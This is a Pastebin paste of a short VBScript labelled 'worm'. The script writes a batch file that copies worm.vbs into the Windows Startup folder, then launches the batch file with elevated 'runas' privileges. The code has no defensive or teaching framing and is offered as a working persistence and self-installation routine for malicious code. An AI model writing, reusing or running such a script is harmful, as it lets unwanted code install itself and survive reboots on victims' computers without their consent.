Advertisement
Guest User

Untitled

a guest
Feb 24th, 2018
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. outFile="worm.bat"
  2. Set objFSO=CreateObject("Scripting.FileSystemObject")
  3. Set objFile = objFSO.CreateTextFile(outFile,True)
  4. objFile.Write "@echo off" & vbCrLf
  5. objFile.Write "SET mypath=%~dp0" & vbCrLf
  6. objFile.Write "copy %mypath%\worm.vbs ""C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\worm.vbs""" & vbCrLf
  7. objFile.Close
  8.  
  9. CreateObject("Shell.Application").ShellExecute "worm.bat", "", "", "runas", 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement